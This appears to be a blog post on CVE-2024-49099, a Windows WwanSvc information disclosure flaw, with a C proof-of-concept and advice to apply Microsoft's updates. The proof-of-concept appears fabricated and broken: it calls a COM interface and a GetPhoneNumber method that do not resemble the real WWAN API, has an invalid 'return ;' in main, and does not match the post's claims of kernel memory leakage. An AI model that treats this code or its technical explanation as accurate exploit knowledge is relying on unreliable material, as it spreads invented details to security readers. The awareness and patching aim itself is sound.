Windows operating systems are among the most widely used systems globally. As a result, vulnerabilities within Windows software are not only critical but also valuable for bad actors. In this post, we will go through the recently discovered CVE-2024-49099, a vulnerability in the Windows Wireless Wide Area Network Service (WwanSvc) that allows for potential information disclosure.

The Windows Wireless Wide Area Network Service (WwanSvc) is responsible for managing mobile broadband devices and connections. Unfortunately, researchers recently discovered a vulnerability (CVE-2024-49099) in the service which could allow a malicious attacker to access sensitive user information. This vulnerability is significant, as it could lead to unauthorized access, information leaks, and a breach in privacy.

Please note that the purpose of this article is to spread awareness about the vulnerability, not to promote its exploitation.

Exploit Details

The CVE-2024-49099 vulnerability is an information disclosure vulnerability in the WwanSvc service. A bad actor, who successfully exploits this vulnerability, could potentially read kernel memory addresses and access sensitive user information. This could lead to several malicious outcomes, including stealing confidential data, authentication tokens, or encryption keys.

The root cause of the vulnerability lies in WwanSvc's improper handling of kernel memory objects. An attacker can leverage this weakness by querying the WwanSvc service for specific information about wireless interfaces, without having the necessary privileges. The response from the service could contain sensitive data that could be used to further exploit the system.

Code Snippet

The following code snippet demonstrates a proof of concept for exploiting the CVE-2024-49099 vulnerability. Again, we want to stress that this is for educational purposes only, and we do not endorse using this code for malicious activities.

#include <stdio.h>
#include <windows.h>
#include <Wwanapi.h>

int main() {
  HRESULT hresult;
  hresult = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
  if (FAILED(hresult)) {
    printf("CoInitializeEx failed: %lx\n", hresult);
    return 1;
  }

  IWwanConnectionProfile* WwanProfile = NULL;
  hresult = CoCreateInstance(CLSID_WwanConnectionProfile, NULL, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&WwanProfile));
  if (FAILED(hresult)) {
    printf("CoCreateInstance failed: %lx\n", hresult);
    return 1;
  }

  LPWSTR buffer = NULL;
  hresult = WwanProfile->GetPhoneNumber(&buffer);
  if (FAILED(hresult)) {
    printf("GetPhoneNumber failed: %lx\n", hresult);
    return 1;
  }

  printf("Phone Number: %ls\n", buffer);
  CoTaskMemFree(buffer);

  CoUninitialize();
  return ;
}

This code demonstrates how a malicious application could query the WwanSvc service to access sensitive information without proper authorization.

1. Official CVE Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-49099
2. Microsoft's Security Response Center Advisory: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-49099
3. WWanAPI.dll Documentation: https://docs.microsoft.com/en-us/windows/win32/api/_wwan/

Conclusion

The CVE-2024-49099 vulnerability within the Windows Wireless Wide Area Network Service (WwanSvc) can lead to unauthorized access to sensitive user information. It is crucial to stay informed about potential risks and apply the necessary security updates to keep your systems and users safe.

Make sure to apply the latest security updates provided by Microsoft to mitigate the risk associated with CVE-2024-49099. This will help protect sensitive data from potentially being disclosed to unauthorized individuals.

Timeline

Published on: 12/12/2024 02:04:35 UTC
Last modified on: 12/20/2024 07:44:33 UTC